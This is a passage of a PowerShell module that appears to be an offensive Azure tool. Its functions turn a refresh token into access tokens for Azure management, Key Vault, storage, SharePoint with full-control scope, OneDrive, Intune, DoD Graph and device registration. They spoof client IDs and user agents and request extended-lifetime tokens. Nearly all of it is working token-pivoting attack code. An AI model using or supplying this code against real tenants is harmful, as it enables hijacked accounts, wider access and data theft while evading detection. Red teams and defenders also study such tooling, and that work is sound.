Invoke-RefreshToAzureCoreManagementToken -domain myclient.org -refreshToken ey....
|
|
$AzureCoreManagementToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://management.core.windows.net/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:AzureCoreManagementToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$AzureCoreManagementToken"
|
|
$AzureCoreManagementToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToAzureStorageToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Azure Storage token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToAzureStorageToken -domain myclient.org -refreshToken ey....
|
|
$AzureStorageToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://storage.azure.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:AzureStorageToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$AzureStorageToken"
|
|
$AzureStorageToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToAzureKeyVaultToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Azure Key Vault token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToAzureKeyVaultToken -domain myclient.org -refreshToken ey....
|
|
$AzureKeyVaultToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $RefreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://vault.azure.net/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:AzureKeyVaultToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$AzureKeyVaultToken"
|
|
$AzureKeyVaultToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToAzureManagementToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft Azure Mangement token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToAzureManagementToken -domain myclient.org -refreshToken ey....
|
|
$AzureManagementToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://management.azure.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:AzureManagementToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$AzureManagementToken"
|
|
$AzureManagementToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToMAMToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft intune mam token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToMAMToken -domain myclient.org -refreshToken ey....
|
|
$MAMToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "6c7e8096-f593-4d72-807f-a5f86dcc9c77",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://intunemam.microsoftonline.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:MAMToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$MamToken"
|
|
$MamToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToDODMSGraphToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft DOD Graph token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToDODMSGraphToken -domain myclient.org -refreshToken ey....
|
|
$DODMSGraphToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
UseDoD = $true
|
|
Scope = "https://dod-graph.microsoft.us/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:DODMSGraphToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$DODMSGraphToken"
|
|
$DODMSGraphToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToSharePointToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Microsoft SharePoint token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToSharePointToken -domain myclient.org -refreshToken ey....
|
|
$SharePointToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$SharePointTenantName,
|
|
[Alias('UseAdmin')]
|
|
[Parameter(Mandatory = $false)]
|
|
[switch]$SharePointUseAdmin,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "9bc3ab49-b65d-410a-85ad-de819febfddc",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
if ($SharePointUseAdmin) {
|
|
$AdminSuffix = "-admin"
|
|
} else {
|
|
$AdminSuffix = ""
|
|
}
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://$SharePointTenantName$AdminSuffix.sharepoint.com/Sites.FullControl.All offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:SharePointToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$SharePointToken"
|
|
$SharePointToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
function Invoke-RefreshToOneDriveToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a OneDrive token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToOneDriveToken -domain myclient.org -refreshToken ey....
|
|
$OneDriveToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$ClientID = "ab9b8c07-8f02-4f72-87fa-80105867a763",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://officeapps.live.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:OneDriveToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$OneDriveToken"
|
|
$OneDriveToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToYammerToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a Yammer access token from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToYammerToken -domain myclient.org -refreshToken ey....
|
|
$YammerToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "https://api.spaces.skype.com/.default offline_access openid"
|
|
}
|
|
|
|
try {
|
|
$global:YammerToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$YammerToken"
|
|
$YammerToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToDeviceRegistrationToken {
|
|
<#
|
|
.DESCRIPTION
|
|
GGenerate an access token for the device registration service from a refresh token.
|
|
.EXAMPLE
|
|
Invoke-RefreshToDeviceRegistrationToken -domain myclient.org -refreshToken ey....
|
|
$DeviceRegistrationToken.access_token
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$RefreshToken = $response.refresh_token,
|
|
[Parameter(Mandatory = $false)]
|
|
$ClientId = "1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE
|
|
)
|
|
|
|
$Parameters = @{
|
|
Domain = $Domain
|
|
refreshToken = $refreshToken
|
|
ClientID = $ClientID
|
|
CustomUserAgent = $CustomUserAgent
|
|
Device = $Device
|
|
Browser = $Browser
|
|
UseCAE = $UseCAE
|
|
Scope = "openid"
|
|
Resource = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"
|
|
UseV1Endpoint = $true
|
|
}
|
|
|
|
try {
|
|
$global:DeviceRegistrationToken = Invoke-RefreshToToken @Parameters
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$DeviceRegistrationToken"
|
|
$DeviceRegistrationToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List
|
|
} catch {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
|
|
function Invoke-RefreshToToken {
|
|
[CmdletBinding()]
|
|
param (
|
|
[Alias("ResourceTenant")]
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Domain,
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$refreshToken,
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$ClientID,
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Scope,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$Resource,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseCAE,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseDoD,
|
|
[Parameter(Mandatory = $False)]
|
|
[Switch]$UseV1Endpoint
|
|
|
|
)
|
|
|
|
if ($CustomUserAgent) {
|
|
$UserAgent = $CustomUserAgent
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device
|
|
}
|
|
} elseif ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent
|
|
}
|
|
|
|
Write-Verbose "UserAgent: $UserAgent"
|
|
|
|
$Headers = @{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
|
|
$TenantId = Get-TenantID -domain $domain
|
|
if ($UseDoD) {
|
|
$authUrl = "https://login.microsoftonline.us/$($TenantId)"
|
|
} else {
|
|
$authUrl = "https://login.microsoftonline.com/$($TenantId)"
|
|
}
|
|
|
|
|
|
Write-Verbose $refreshToken
|
|
|
|
$body = @{
|
|
"scope" = $Scope
|
|
"client_id" = $ClientId
|
|
"grant_type" = "refresh_token"
|
|
"refresh_token" = $refreshToken
|
|
}
|
|
|
|
if ($UseCAE) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$Claims = ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
$body.Add("claims", $Claims)
|
|
}
|
|
|
|
if ($Resource) {
|
|
$body.Add("resource", $Resource)
|
|
}
|
|
|
|
Write-Verbose ( $body | ConvertTo-Json -Depth 99)
|
|
|
|
if ($UseV1Endpoint) {
|
|
$uri = "$($authUrl)/oauth2/token"
|
|
} else {
|
|
$uri = "$($authUrl)/oauth2/v2.0/token"
|
|
}
|
|
|
|
$Token = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $uri -Headers $Headers -Body $body
|
|
return $Token
|
|
}
|
|
|
|
function Clear-Token {
|
|
<#
|
|
.DESCRIPTION
|
|
Clear your saved tokens
|
|
.EXAMPLE
|
|
Clear-Token -Token All
|
|
Clear-Token -Token Substrate
|
|
#>
|
|
[CmdletBinding()]
|
|
param([Parameter(Mandatory = $true)]
|
|
[ValidateSet("All", "Response", "Outlook", "MSTeams", "Graph", "AzureCoreManagement", "OfficeManagement", "MSGraph", "DODMSGraph", "Custom", "Substrate", "SharePoint", "OneDrive", "Yammer")]
|
|
[string]$Token
|
|
)
|
|
if ($Token -eq "All") {
|
|
# Remove variables from the global scope
|
|
Remove-Variable -Scope Global -Name response -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name OutlookToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name MSTeamsToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name GraphToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name AzureCoreManagementToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name OfficeManagementToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name MSGraphToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name DODMSGraphToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name CustomToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name SubstrateToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name CustomToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name SharePointToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name YammerToken -ErrorAction 0
|
|
Remove-Variable -Scope Global -Name DeviceRegistrationToken -ErrorAction 0
|
|
} elseif ($Token -eq "Response") {
|
|
Remove-Variable -Scope Global -Name response -ErrorAction 0
|
|
} elseif ($Token -eq "Outlook") {
|
|
Remove-Variable -Scope Global -Name OutlookToken -ErrorAction 0
|
|
} elseif ($Token -eq "MSTeams") {
|
|
Remove-Variable -Scope Global -Name MSTeamsToken -ErrorAction 0
|
|
} elseif ($Token -eq "Graph") {
|
|
Remove-Variable -Scope Global -Name GraphToken -ErrorAction 0
|
|
} elseif ($Token -eq "AzureCoreManagement") {
|
|
Remove-Variable -Scope Global -Name AzureCoreManagementToken -ErrorAction 0
|
|
} elseif ($Token -eq "OfficeManagement") {
|
|
Remove-Variable -Scope Global -Name OfficeManagementToken -ErrorAction 0
|
|
} elseif ($Token -eq "MSGraph") {
|
|
Remove-Variable -Scope Global -Name MSGraphToken -ErrorAction 0
|
|
} elseif ($Token -eq "DODMSGraph") {
|
|
Remove-Variable -Scope Global -Name DODMSGraphToken -ErrorAction 0
|
|
} elseif ($Token -eq "Custom") {
|
|
Remove-Variable -Scope Global -Name CustomToken -ErrorAction 0
|
|
} elseif ($Token -eq "Substrate") {
|
|
Remove-Variable -Scope Global -Name SubstrateToken -ErrorAction 0
|
|
} elseif ( $Token -eq "SharePoint") {
|
|
Remove-Variable -Scope Global -Name SharePointToken -ErrorAction 0
|
|
} elseif ( $Token -eq "OneDrive") {
|
|
Remove-Variable -Scope Global -Name OneDriveToken -ErrorAction 0
|
|
} elseif ( $Token -eq "Yammer") {
|
|
Remove-Variable -Scope Global -Name YammerToken -ErrorAction 0
|
|
} elseif ( $Token -eq "DeviceRegistration") {
|
|
Remove-Variable -Scope Global -Name DeviceRegistrationToken -ErrorAction 0
|
|
} else {
|
|
Write-Error "Token $Token not found"
|
|
}
|
|
}
|